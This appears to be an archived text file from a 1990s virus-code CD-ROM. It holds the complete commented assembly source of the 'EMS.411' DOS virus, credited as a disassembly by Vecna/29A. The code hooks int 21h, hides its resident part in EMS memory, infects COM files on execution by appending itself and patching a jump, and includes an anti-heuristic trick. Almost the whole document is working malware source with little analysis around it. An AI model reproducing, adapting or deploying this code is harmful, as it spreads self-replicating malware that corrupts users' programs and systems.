home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CODBRK3.ZIP / cb0303.txt < prev    next >
Text File  |  1998-03-20  |  7KB  |  251 lines

  1.  
  2.  
  3. ; EMS.411 Virus
  4. ; Dissassembly by Vecna/29A
  5.  
  6. .model tiny
  7. .code
  8. .386p
  9. org 0
  10.  
  11. VirusStart:
  12.        jmp RealStart                   ; jump to real start of virus
  13.  
  14. HostCode:
  15.        int 20h                         ; code of the start of the host is
  16.        nop                             ; stored here
  17.  
  18. EMM    db 'EMMXXXX0'
  19.  
  20. InfectJump:
  21.        db 0e9h                         ; this jump is written to begin
  22. WhereIAm dw 0                          ; of file
  23.  
  24. LowMemCode:
  25.        pushf
  26.        cmp byte ptr cs:[InUse-LowMemCode], 0
  27.        jnz Int21InUse                  ; if we're using int21, the bit is set
  28.        pusha
  29.        mov ax, 4400h
  30.        xor bx, bx
  31.        mov dx, cs:[Page_-LowMemCode]
  32.        int 67h                         ; map our page
  33.        popa
  34.        popf
  35.        db 09ah                         ; call our int21 handler in the EMS
  36.        dw offset Int21Handler
  37. PageFrame dw 0000h
  38.        pusha
  39.        pushf
  40.        mov ax, 4400h
  41.        mov bx, 0FFFFh
  42.        mov dx, cs:[Page_-LowMemCode]
  43.        int 67h                         ; unmap out page
  44.        mov bp, sp
  45.        mov ax, [bp+0]                  ; get flag status after exec
  46.        mov [bp+16h], ax                ; and put in the caller stack
  47.        popf
  48.        popa
  49.        iret
  50.  
  51. Page_  dw 0                            ; number of our page
  52.  
  53. InUse  db 0                            ; this byte is set if we are using
  54.                                        ; the int21
  55. Int21InUse:
  56.        popf
  57.        db 0EAh                         ; jump to real int21
  58. Old21:
  59.        dd 0
  60.  
  61. Int21Handler:
  62.        pushf
  63.        xchg ax, dx                     ; anti-heuristic
  64.        cmp dx, 4B00h
  65.        jz Infect                       ; infect on execute only
  66.        xchg ax, dx
  67.        call dword ptr cs:[Old21]       ; do real call
  68.        retf
  69.  
  70. Infect:
  71.        popf
  72.        call ToggleFlag                 ; set flag warning we using int 21
  73.        xchg ax, dx
  74.        push ds
  75.        push dx
  76.        pushf
  77.        call dword ptr cs:[Old21]       ; execute original function first
  78.        pushf
  79.        pusha
  80.        push ds
  81.        mov bp, sp
  82.        lds dx, [bp+14h]                ; load DS:DX from the saved copy in
  83.        mov ax, 3D02h                   ; the stack, and open the file R/W
  84.        int 21h
  85.        xchg ax, bx
  86.        mov ah, 3Fh
  87.        mov cx, 3
  88.        push cs
  89.        pop ds
  90.        mov dx, offset HostCode         ; read 3 bytes from file to our buffer
  91.        int 21h
  92.        mov ax, 4202h
  93.        cwd
  94.        xor cx, cx
  95.        int 21h                         ; seek to the end of the file
  96.        sub ax, 3                       ; sub 3 for the jump
  97.        push ax
  98.        sub ax, (offset VEnd-offset VirusStart)
  99.        cmp ax, word ptr ds:[HostCode+1]; a possible jump in start of file
  100.        jz AlreadyInfected              ; point to same place than we used to
  101.        mov ax, 'ZM'                    ; be? If yes, is already infected
  102.        cmp ax, word ptr ds:[HostCode]
  103.        jz AlreadyInfected              ; file start with MZ (EXE file) ??
  104.        pop ax
  105.        mov word ptr ds:[WhereIAm], ax  ; save position for jump
  106.        mov ah, 40h
  107.        mov cx, (offset VEnd-offset VirusStart)
  108.        cwd
  109.        int 21h                         ; write virus code to end of file
  110.        mov ax, 4200h
  111.        xor cx, cx
  112.        cwd
  113.        int 21h                         ; seek to start of file
  114.        mov ah, 40h
  115.        mov cx, 3
  116.        mov dx, offset InfectJump
  117.        int 21h                         ; write a jump to virus code
  118.        jmp short InfectionOk
  119.  
  120. AlreadyInfected:
  121.        add sp, 2                       ; fix the stack
  122.  
  123. InfectionOk:
  124.        mov ah, 3Eh                     ; close file
  125.        int 21h
  126.        call ToggleFlag                 ; we're not using int21 anymore
  127.        pop ds
  128.        popa
  129.        push bp
  130.        mov bp, sp
  131.        lea sp, [bp+8]                  ; get returned AX and FLAGS
  132.        push ax
  133.        mov ax, [bp+2]
  134.        push ax
  135.        popf                            ; put they in right place
  136.        pop ax
  137.        mov bp, [bp+0]
  138.        retf
  139.  
  140. ToggleFlag:
  141.        push ax
  142.        push ds
  143.        mov ax, 24h                     ; set flag of int21 in use
  144.        mov ds, ax
  145.        xor byte ptr ds:[InUse-offset LowMemCode], 1
  146.        pop ds
  147.        pop ax
  148.        retn
  149.  
  150. RealStart:
  151.        pusha
  152.        mov bx, word ptr cs:[101h]      ; 101 hold the offset part of the jump
  153.        add bx, 103h                    ; that we put in the start of host
  154.        call Install
  155.        mov di, si
  156.        lea si, [bx+3]
  157.        movsb                           ; restore old code
  158.        movsw
  159.        popa
  160.        jmp si                          ; jump to start of file
  161.  
  162. Install:
  163.        push bx
  164.        push si
  165.        push es
  166.        push ds
  167.        push bx
  168.        push bx
  169.        push ds
  170.        mov ax, 24h                     ; check if we are already in 24:0
  171.        mov ds, ax
  172.        cmp word ptr ds:[0], 2E9Ch      ; PUSHF/CS:
  173.        pop ds
  174.        jz AlreadyInstalled
  175.  
  176.        lea si, [bx+offset EMM]
  177.        mov ax, 3567h
  178.        int 21h                         ; get segment of EMM386
  179.  
  180.        mov di, 0Ah
  181.        mov cx, 8
  182.        rep cmpsb                       ; is really EMM386?
  183.        jnz AlreadyInstalled
  184.  
  185.        mov ah, 42h
  186.        int 67h                         ; Number of pages
  187.        cmp bx, 1
  188.        jl AlreadyInstalled             ; less than 1, abort install
  189.  
  190.        mov ah, 41h
  191.        int 67h                         ; get page frame
  192.  
  193.        pop si
  194.        mov cs:[si+PageFrame], bx       ; save it
  195.        mov es, bx
  196.  
  197.        mov ah, 43h
  198.        mov bx, 1
  199.        int 67h                         ; allocate 1 page
  200.  
  201.        mov cs:[si+Page_], dx
  202.        mov ax, 4400h
  203.        mov bx, 0
  204.        int 67h                         ; map memory
  205.  
  206.        mov ax, 3521h
  207.        int 21h                         ; get adress of int21
  208.  
  209.        mov word ptr cs:[si+Old21], bx  ; save it
  210.        mov word ptr cs:[si+Old21+2], es
  211.  
  212.        mov es, cs:[si+offset PageFrame]
  213.        xor di, di
  214.        mov cx, 19Bh                    ; copy our code to our page
  215.        rep movsb
  216.  
  217.        mov ax, 4400h
  218.        mov bx, 0FFFFh
  219.        int 67h                         ; unmap memory
  220.  
  221.        mov di, 24h
  222.        mov bx, di
  223.        mov es, di
  224.        xor di, di
  225.        pop si
  226.        add si, 11h
  227.        mov cx, offset Int21Handler-offset LowMemCode
  228.        rep movsb                       ; move int21 handler to IVT
  229.  
  230.        mov ds, bx
  231.        xor dx, dx
  232.        mov ax, 2521h                   ; point int21 to 24:0
  233.        int 21h
  234.  
  235.        jmp InstalledOk
  236.  
  237. AlreadyInstalled:
  238.        add sp, 4                       ; fix stack if error
  239.  
  240. InstalledOk:
  241.        pop ds
  242.        pop es
  243.        pop si
  244.        pop bx
  245.        ret                             ; return
  246.  
  247. VEnd   = $
  248.  
  249. End    VirusStart
  250.  
  251.